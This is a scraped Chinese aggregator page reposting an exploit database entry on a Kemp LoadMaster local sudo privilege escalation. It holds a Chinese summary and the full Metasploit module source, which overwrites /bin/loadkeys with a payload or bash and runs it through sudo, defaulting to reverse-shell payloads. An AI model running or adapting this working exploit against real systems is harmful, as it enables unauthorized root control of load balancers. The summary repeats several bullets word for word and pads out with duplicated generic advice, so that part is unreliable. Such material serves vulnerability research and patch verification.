The Exploit Database - CXSecurity.com 2024年07月05日
Kemp LoadMaster Local sudo Privilege Escalation
index_new5.html
../../../zaker_core/zaker_tpl_static/wap/tpl_guoji1.html

 

该漏洞利用了 Progress Kemp LoadMaster 上 sudo 命令的一个特性,该特性允许某些二进制文件自动使用 sudo 命令进行提权,这取决于文件名称。某些具有此权限的文件没有从默认的 'bal' 用户进行写入保护。因此,如果该文件被任意文件覆盖,它仍然会自动提权。该漏洞利用通过将 /bin/loadkeys 文件覆盖为另一个可执行文件来实现提权。

😈 该漏洞利用了 Progress Kemp LoadMaster 上 sudo 命令的一个特性,该特性允许某些二进制文件自动使用 sudo 命令进行提权,这取决于文件名称。

😈 某些具有此权限的文件没有从默认的 'bal' 用户进行写入保护,这意味着攻击者可以覆盖这些文件,从而利用自动提权机制执行恶意代码。

😈 该漏洞利用通过将 /bin/loadkeys 文件覆盖为另一个可执行文件来实现提权,该可执行文件可以是一个恶意程序,从而获得更高的权限。

😈 该漏洞利用的成功取决于目标系统上是否存在可被覆盖的文件,以及目标系统是否允许使用 sudo 命令进行提权。

😈 该漏洞利用需要攻击者具有对目标系统的访问权限,例如通过网络攻击或社会工程学手段。

😈 该漏洞利用可能导致攻击者获得目标系统的完全控制权,包括访问敏感数据、修改系统配置和执行任意代码。

😈 该漏洞利用的成功取决于目标系统上是否存在可被覆盖的文件,以及目标系统是否允许使用 sudo 命令进行提权。

😈 该漏洞利用需要攻击者具有对目标系统的访问权限,例如通过网络攻击或社会工程学手段。

😈 该漏洞利用可能导致攻击者获得目标系统的完全控制权,包括访问敏感数据、修改系统配置和执行任意代码。

😈 为了防止此漏洞利用,Kemp LoadMaster 用户应及时更新其系统到最新版本,并确保所有可执行文件都受到适当的写入保护。

😈 用户还应限制 sudo 命令的使用,并确保只有授权用户才能使用该命令。

😈 用户应定期检查系统日志,以发现任何可疑活动。

😈 用户应使用强密码,并定期更改密码。

😈 用户应使用多因素身份验证,以提高帐户安全性。

😈 用户应使用安全的网络连接,并使用防火墙和入侵检测系统来保护系统免受攻击。

😈 用户应安装并更新安全软件,以保护系统免受恶意软件的攻击。

😈 用户应定期备份系统数据,以便在发生攻击时能够快速恢复数据。

😈 用户应保持警惕,并及时了解最新的安全威胁。

😈 用户应及时更新系统,并修复所有已知的漏洞。

😈 用户应使用安全的网络连接,并使用防火墙和入侵检测系统来保护系统免受攻击。

😈 用户应安装并更新安全软件,以保护系统免受恶意软件的攻击。

😈 用户应定期备份系统数据,以便在发生攻击时能够快速恢复数据。

😈 用户应保持警惕,并及时了解最新的安全威胁。

😈 用户应及时更新系统,并修复所有已知的漏洞。

This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::LocalRank = ExcellentRankinginclude Msf::Exploit::EXEinclude Msf::Exploit::FileDropperinclude Msf::Post::Fileprepend Msf::Exploit::Remote::AutoCheckdef initialize(info = {})super(update_info(info,'Name' => 'Kemp LoadMaster Local sudo privilege escalation','Description' => %q{This module abuses a feature of the sudo command on Progress KempLoadMaster. Certain binary files are allowed to automatically elevatewith the sudo command. This is based off of the file name. Some fileshave this permission are not write-protected from the default 'bal' user.As such, if the file is overwritten with an arbitrary file, it will stillauto-elevate. This module overwrites the /bin/loadkeys file with anotherexecutable.},'Author' => ['Dave Yesland with Rhino Security Labs','bwatters-r7' # module,],'License' => MSF_LICENSE,'References' => [['URL', 'https://rhinosecuritylabs.com/research/cve-2024-1212unauthenticated-command-injection-in-progress-kemp-loadmaster/'],['URL', 'https://kemptechnologies.com/kemp-load-balancers']],'DisclosureDate' => '2024-03-19','Notes' => {'Stability' => [ CRASH_SAFE ],'SideEffects' => [ IOC_IN_LOGS, ARTIFACTS_ON_DISK],'Reliability' => [ REPEATABLE_SESSION ]},'SessionTypes' => ['shell', 'meterpreter'],'Platform' => ['unix', 'linux'],'Targets' => [['Dropper',{'Arch' => [ARCH_X86, ARCH_X64],'Type' => :dropper,'DefaultOptions' => {'PAYLOAD' => 'linux/x64/meterpreter_reverse_tcp'}}],['Command',{'Arch' => [ARCH_CMD],'Type' => :command,'Payload' =>{'BadChars' => "\x27",'Compat' =>{'PayloadType' => 'cmd','RequiredCmd' => 'generic gawk telnet ssh echo'}},'DefaultOptions' => {'PAYLOAD' => 'cmd/unix/reverse'}}]],'Privileged' => true))register_options([OptString.new('TARGET_BINARY', [true, 'The path for a binary file that has permission to auto-elevate.', '/bin/loadkeys']),OptString.new('WRITABLE_DIR', [ true, 'A directory where we can write files', '/tmp' ])])enddef checkscore = 0score += 1 if read_file('/usr/wui/index.js').include?('KEMP')score += 1 if read_file('/etc/motd').include?('Kemp LoadMaster')score += 1 if exists?('/usr/wui/eula.kemp.html')vprint_status("Found #{score} indicators this is a KEMP product")return CheckCode::Detected if score > 0return CheckCode::Safeenddef verify_copy(src, dest, elevate)orig_file_hash = file_remote_digestmd5(src)vprint_status("Moving #{src} to #{dest}")if elevateoutput = cmd_exec("sudo /bin/cp '#{src}' '#{dest}'")elseoutput = cmd_exec("/bin/cp '#{src}' '#{dest}'")endreturn true if file_remote_digestmd5(dest) == orig_file_hashprint_bad("Copy failed - #{output}")falseenddef execute_dropper(target_binary, binary_rename, temp_payload_path)vprint_status("Writing payload to #{temp_payload_path}")write_file(temp_payload_path, generate_payload_exe)chmod(temp_payload_path)register_file_for_cleanup(temp_payload_path)return unless verify_copy(target_binary, binary_rename, false)return unless verify_copy(temp_payload_path, target_binary, true)vprint_status("Running #{target_binary}")cmd_exec("sudo '#{target_binary}'")enddef execute_command(target_binary, binary_rename, cmd)vprint_status('Preparing payload command')# save copy of target_binaryreturn unless verify_copy(target_binary, binary_rename, false)return unless verify_copy('/bin/bash', target_binary, true)vprint_status('Running payload command')vprint_status(cmd_exec("sudo #{target_binary} -c '#{cmd}'"))enddef exploitwritable_dir = datastore['WRITABLE_DIR']if writable_dir.blank? || (writable_dir[-1] != '/')writable_dir += '/'endfail_with(Failure::BadConfig, "Invalid WRITABLE_DIR: #{writable_dir}") unless directory?(writable_dir)target_binary = datastore['TARGET_BINARY']binary_rename = writable_dir + ".#{Rex::Text.rand_text_alpha_lower(6..12)}"target_binary_hash = file_remote_digestmd5(target_binary)begincase target['Type']when :droppertemp_payload = writable_dir + ".#{Rex::Text.rand_text_alpha_lower(6..12)}"execute_dropper(target_binary, binary_rename, temp_payload)when :commandexecute_command(target_binary, binary_rename, payload.encoded)endensureunless target_binary_hash == file_remote_digestmd5(target_binary)cmd_exec("sudo rm '#{target_binary}'")verify_copy(binary_rename, target_binary, true)cmd_exec("sudo rm '#{binary_rename}'")endendif target_binary_hash == file_remote_digestmd5(target_binary)print_good("#{target_binary} returned to original contents")elseprint_bad("#{target_binary} was not returned to original contents")endendend

Fish AI Reader

Fish AI Reader

AI辅助创作,多种专业模板,深度分析,高质量内容生成。从观点提取到深度思考,FishAI为您提供全方位的创作支持。新版本引入自定义参数,让您的创作更加个性化和精准。

FishAI

FishAI

鱼阅,AI 时代的下一个智能信息助手,助你摆脱信息焦虑

联系邮箱 441953276@qq.com

相关标签

Kemp LoadMaster sudo 提权漏洞 漏洞利用 安全漏洞
相关文章